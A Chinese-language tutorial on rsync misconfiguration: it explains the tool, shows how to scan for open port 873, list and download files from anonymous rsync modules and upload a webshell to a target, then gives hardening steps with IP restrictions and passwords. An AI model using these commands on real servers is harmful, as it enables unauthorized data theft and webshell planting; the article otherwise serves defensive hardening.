Rsync简介

Rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。

rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好,另外它还是免费的软件。

rsync 包括如下的一些特性:

  • 能更新整个目录和树和文件系统;
  • 有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等;
  • 对于安装来说,无任何特殊权限要求;
  • 对于多个文件来说,内部流水线减少文件等待的延时;
  • 能用rsh、ssh 或直接端口做为传输入端口;
  • 支持匿名rsync 同步文件,是理想的镜像工具;

寻找匿名访问Rsync方式

Rsync默认的端口是873,可以使用nmap扫描哪些ip开放了873端口。

1
nmap -n --open -p 873 X.X.X.X/24

漏洞利用常用操作

例举整个同步目录或指定目录

1
2
rsync 10.0.0.12::
rsync 10.0.0.12::www/

下载文件或目录到本地

1
2
rsync -avz 10.0.0.12::www/test.php /root
rsync -avz 10.0.0.12::www/ /var/tmp

上传本地文件到服务端

1
rsync -avz webshell.php 10.0.0.12::www/

漏洞利用实例

自动化脚本

Metasploit中关于允许匿名访问的rsync扫描模块:
auxiliary/scanner/rsync/modules_list

针对rsync口令暴力破解的脚本rsync-brute:
https://svn.nmap.org/nmap/scripts/rsync-brute.nse

安全配置注意事项

注意两种方式防御,一是限定访问的IP,另一个是不允许匿名访问,添加用户口令。

限定IP的两种方式

IPTables防火墙

给rsync的端口添加一个iptables。

只希望能够从内部网络(192.168.101.0/24)访问:

1
2
iptables -A INPUT -i eth0 -p tcp -s 192.168.101.0/24 --dport 873 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -o eth0 -p tcp --sport 873 -m state --state ESTABLISHED -j ACCEPT

除此之外rsyncd.conf中的hosts allow也可以设置只允许来源ip。

1
hosts allow = X.X.X.X #允许访问的IP

添加用户口令

添加rsync用户权限访问,注意配置的是rsyncd.conf中的:

1
2
secrets file = /etc/rsyncd.secrets #密码文件位置,认证文件设置,设置用户名和密码
auth users = rsync #授权帐号,认证的用户名,如果没有这行则表明是匿名,多个用户用,分隔。

参考链接:
http://wooyun.jozxing.cc/static/drops/papers-161.html
http://www.91ri.org/11093.html